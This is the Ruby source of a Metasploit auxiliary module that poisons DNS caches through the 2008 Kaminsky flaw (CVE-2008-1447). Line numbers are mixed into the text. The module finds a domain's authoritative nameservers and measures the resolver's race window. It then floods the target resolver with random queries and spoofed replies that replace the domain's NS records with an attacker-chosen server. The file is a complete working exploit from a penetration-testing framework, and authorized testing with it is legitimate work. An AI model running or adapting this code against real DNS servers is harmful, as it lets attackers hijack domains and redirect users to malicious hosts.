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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
5

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require 'net/dns'
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require 'resolv'
8

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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Capture
11

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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'DNS BailiWicked Domain Attack',
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      'Description'    => %q{
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        This exploit attacks a fairly ubiquitous flaw in DNS implementations which
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        Dan Kaminsky found and disclosed ~Jul 2008.  This exploit replaces the target
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        domains nameserver entries in a vulnerable DNS cache server. This attack works
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        by sending random hostname queries to the target DNS server coupled with spoofed
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        replies to those queries from the authoritative nameservers for that domain.
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        Eventually, a guessed ID will match, the spoofed packet will get accepted, and
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        the nameserver entries for the target domain will be replaced by the server
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        specified in the NEWDNS option of this exploit.
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      },
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      'Author'         =>
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        [
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          'I)ruid', 'hdm',
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          # Cedric figured out the NS injection method
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          # and was cool enough to email us and share!
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          'Cedric Blancher <sid[at]rstack.org>'
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2008-1447' ],
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          [ 'OSVDB', '46776'],
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          [ 'US-CERT-VU', '800113' ],
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          [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
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        ],
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      'DisclosureDate' => '2008-07-21'
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    ))
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    register_options(
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      [
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        OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
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        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
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        OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
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        OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
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        OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
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        OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
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        OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
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      ])
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    deregister_options('FILTER','PCAPFILE')
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  end
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  def auxiliary_commands
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    return {
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      "racer" => "Determine the size of the window for the target server"
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    }
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  end
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  def cmd_racer(*args)
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    targ = args[0] || rhost()
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    dom  = args[1] || "example.com"
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    if !(targ and targ.length > 0)
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      print_status("usage: racer [dns-server] [domain]")
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      return
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    end
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    calculate_race(targ, dom)
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  end
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  def check
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    targ = rhost
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    srv_sock = Rex::Socket.create_udp(
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      'PeerHost' => targ,
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      'PeerPort' => 53
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    )
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    random = false
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    ports  = {}
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    lport  = nil
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    reps   = 0
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    1.upto(30) do |i|
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      req = Resolv::DNS::Message.new
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      txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
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      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
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      req.rd = 1
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      srv_sock.put(req.encode)
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      res, addr = srv_sock.recvfrom(65535, 1.0)
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98

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      if res and res.length > 0
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        reps += 1
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        res = Resolv::DNS::Message.decode(res)
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        res.each_answer do |name, ttl, data|
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          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
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            t_addr, t_port = $1.split(':')
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            vprint_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
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            t_port = t_port.to_i
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            if(lport and lport != t_port)
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              random = true
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            end
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            lport  = t_port
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            ports[t_port] ||=0
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            ports[t_port]  +=1
114
          end
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        end
116
      end
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118

119
      if(i>5 and ports.keys.length == 0)
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        break
121
      end
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    end
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    srv_sock.close
125

126
    if(ports.keys.length == 0)
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      vprint_error("ERROR: This server is not replying to recursive requests")
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      return Exploit::CheckCode::Unknown
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    end
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131
    if(reps < 30)
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      vprint_warning("WARNING: This server did not reply to all of our requests")
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    end
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135
    if(random)
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      ports_u = ports.keys.length
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      ports_r = ((ports.keys.length/30.0)*100).to_i
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      vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
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      if(ports_r != 100)
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        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
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        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
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        return Exploit::CheckCode::Appears
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      end
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    else
145
      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
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      return Exploit::CheckCode::Vulnerable
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    end
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149
    Exploit::CheckCode::Safe
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  end
151

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  def run
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    check_pcaprub_loaded # Check first
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    target  = rhost()
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    source  = Rex::Socket.source_address(target)
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    saddr   = datastore['SRCADDR']
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    sport   = datastore['SRCPORT']
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    domain  = datastore['DOMAIN'] + '.'
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    newdns  = datastore['NEWDNS']
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    recons  = datastore['RECONS']
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    xids    = datastore['XIDS'].to_i
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    newttl  = datastore['TTL'].to_i
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    xidbase = rand(20001) + 20000
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    numxids = xids
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    address = Rex::Text.rand_text(4).unpack("C4").join(".")
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167
    srv_sock = Rex::Socket.create_udp(
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      'PeerHost' => target,
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      'PeerPort' => 53
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    )
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    # Get the source port via the metasploit service if it's not set
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    if sport.to_i == 0
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      req = Resolv::DNS::Message.new
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      txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
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      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
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      req.rd = 1
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179
      srv_sock.put(req.encode)
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      res, addr = srv_sock.recvfrom()
181

182
      if res and res.length > 0
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        res = Resolv::DNS::Message.decode(res)
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        res.each_answer do |name, ttl, data|
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          if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
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            t_addr, t_port = $1.split(':')
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            sport = t_port.to_i
188

189
            print_status("Switching to target port #{sport} based on Metasploit service")
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            if target != t_addr
191
              print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
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            end
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          end
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        end
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      end
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    end
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    # Verify its not already poisoned
199
    begin
200
      query = Resolv::DNS::Message.new
201
      query.add_question(domain, Resolv::DNS::Resource::IN::NS)
202
      query.rd = 0
203

204
      begin
205
        cached = false
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        srv_sock.put(query.encode)
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        answer, addr = srv_sock.recvfrom()
208

209
        if answer and answer.length > 0
210
          answer = Resolv::DNS::Message.decode(answer)
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          answer.each_answer do |name, ttl, data|
212

213
            if((name.to_s + ".") == domain and data.name.to_s == newdns)
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              t = Time.now + ttl
215
              print_error("Failure: This domain is already using #{newdns} as a nameserver")
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              print_error("         Cache entry expires on #{t}")
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              srv_sock.close
218
              close_pcap
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              return
220
            end
221
          end
222

223
        end
224
      end until not cached
225
    rescue ::Interrupt
226
      raise $!
227
    rescue ::Exception => e
228
      print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
229
    end
230

231

232
    res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
233

234
    print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
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236
    # Look up the nameservers for the domain
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    print_status "Querying recon nameserver for #{domain}'s nameservers..."
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    answer0 = res0.send(domain, Net::DNS::NS)
239
    #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
240

241
    barbs = [] # storage for nameservers
242
    answer0.answer.each do |rr0|
243
      print_status " Got an #{rr0.type} record: #{rr0.inspect}"
244
      if rr0.type == 'NS'
245
        print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
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        answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
247
        #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
248
        answer1.answer.each do |rr1|
249
          print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
250
          res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
251
          print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
252
          answer2 = res2.send(domain, Net::DNS::SOA)
253
          if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
254
            nsrec = {:name => rr0.nsdname, :addr => rr1.address}
255
            barbs << nsrec
256
            print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
257
          end
258
        end
259
      end
260
    end
261

262
    if barbs.length == 0
263
      print_status( "No DNS servers found.")
264
      srv_sock.close
265
      close_pcap
266
      return
267
    end
268

269
    if(xids == 0)
270
      print_status("Calculating the number of spoofed replies to send per query...")
271
      qcnt = calculate_race(target, domain, 100)
272
      numxids = ((qcnt * 1.5) / barbs.length).to_i
273
      if(numxids == 0)
274
        print_status("The server did not reply, giving up.")
275
        srv_sock.close
276
        close_pcap
277
        return
278
      end
279
      print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
280
    end
281

282
    # Flood the target with queries and spoofed responses, one will eventually hit
283
    queries = 0
284
    responses = 0
285

286
    open_pcap unless self.capture
287

288
    print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
289

290
    while true
291
      randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
292

293
      # Send spoofed query
294
      req = Resolv::DNS::Message.new
295
      req.id = rand(2**16)
296
      req.add_question(randhost, Resolv::DNS::Resource::IN::A)
297

298
      req.rd = 1
299

300
      src_ip = source
301

302
      if(saddr == 'Random')
303
        src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
304
      end
305

306
      p = PacketFu::UDPPacket.new
307
      p.ip_saddr = src_ip
308
      p.ip_daddr = target
309
      p.ip_ttl = 255
310
      p.udp_sport = (rand((2**16)-1024)+1024).to_i
311
      p.udp_dport = 53
312
      p.payload = req.encode
313
      p.recalc
314

315
      capture_sendto(p, target)
316
      queries += 1
317

318
      # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
319
      req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
320
      req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
321
      req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
322
      req.qr = 1
323
      req.aa = 1
324

325
      # Reuse our PacketFu object
326
      p.udp_sport = 53
327
      p.udp_dport = sport.to_i
328

329
      xidbase.upto(xidbase+numxids-1) do |id|
330
        req.id = id
331
        p.payload = req.encode
332
        barbs.each do |barb|
333
          p.ip_saddr = barb[:addr].to_s
334
          p.recalc
335
          capture_sendto(p, target)
336
          responses += 1
337
        end
338
      end
339

340
      # status update
341
      if queries % 1000 == 0
342
        print_status("Sent #{queries} queries and #{responses} spoofed responses...")
343
        if(xids == 0)
344
          print_status("Recalculating the number of spoofed replies to send per query...")
345
          qcnt = calculate_race(target, domain, 25)
346
          numxids = ((qcnt * 1.5) / barbs.length).to_i
347
          if(numxids == 0)
348
            print_status("The server has stopped replying, giving up.")
349
            srv_sock.close
350
            close_pcap
351
            return
352
          end
353
          print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
354
        end
355
      end
356

357
      # every so often, check and see if the target is poisoned...
358
      if queries % 250 == 0
359
        begin
360
          query = Resolv::DNS::Message.new
361
          query.add_question(domain, Resolv::DNS::Resource::IN::NS)
362
          query.rd = 0
363

364
          srv_sock.put(query.encode)
365
          answer, addr = srv_sock.recvfrom()
366

367
          if answer and answer.length > 0
368
            answer = Resolv::DNS::Message.decode(answer)
369
            answer.each_answer do |name, ttl, data|
370
              if((name.to_s + ".") == domain and data.name.to_s == newdns)
371
                print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")
372
                srv_sock.close
373
                close_pcap
374
                return
375
              end
376
            end
377
          end
378
        rescue ::Interrupt
379
          raise $!
380
        rescue ::Exception => e
381
          print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
382
        end
383
      end
384

385
    end
386

387
  end
388

389
  #
390
  # Send a recursive query to the target server, then flood
391
  # the server with non-recursive queries for the same entry.
392
  # Calculate how many non-recursive queries we receive back
393
  # until the real server responds. This should give us a
394
  # ballpark figure for ns->ns latency. We can repeat this
395
  # a few times to account for each nameserver the cache server
396
  # may query for the target domain.
397
  #
398
  def calculate_race(server, domain, num=50)
399

400
    q_beg_t = nil
401
    q_end_t = nil
402
    cnt     = 0
403

404
    times   = []
405

406
    hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
407

408
    sock = Rex::Socket.create_udp(
409
      'PeerHost' => server,
410
      'PeerPort' => 53
411
    )
412

413

414
    req = Resolv::DNS::Message.new
415
    req.add_question(hostname, Resolv::DNS::Resource::IN::A)
416
    req.rd = 1
417
    req.id = 1
418

419
    q_beg_t = Time.now.to_f
420
    sock.put(req.encode)
421
    req.rd = 0
422

423
    while(times.length < num)
424
      res, addr = sock.recvfrom(65535, 0.01)
425

426
      if res and res.length > 0
427
        res = Resolv::DNS::Message.decode(res)
428

429
        if(res.id == 1)
430
          times << [Time.now.to_f - q_beg_t, cnt]
431
          cnt = 0
432

433
          hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
434

435
          sock.close
436
          sock = Rex::Socket.create_udp(
437
            'PeerHost' => server,
438
            'PeerPort' => 53
439
          )
440

441
          q_beg_t = Time.now.to_f
442
          req = Resolv::DNS::Message.new
443
          req.add_question(hostname, Resolv::DNS::Resource::IN::A)
444
          req.rd = 1
445
          req.id = 1
446

447
          sock.put(req.encode)
448
          req.rd = 0
449
        end
450

451
        cnt += 1
452
      end
453

454
      req.id += 1
455

456
      sock.put(req.encode)
457
    end
458

459
    min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
460
    max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
461
    sum       = 0
462
    times.each{|i| sum += i[0]}
463
    avg_time = (	(sum / times.length) * 100).to_i / 100.0
464

465
    min_count = times.map{|i| i[1]}.min
466
    max_count = times.map{|i| i[1]}.max
467
    sum       = 0
468
    times.each{|i| sum += i[1]}
469
    avg_count = sum / times.length
470

471
    sock.close
472

473
    print_status("  race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
474

475

476
    # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
477
    avg_count
478
  end
479
end
480

481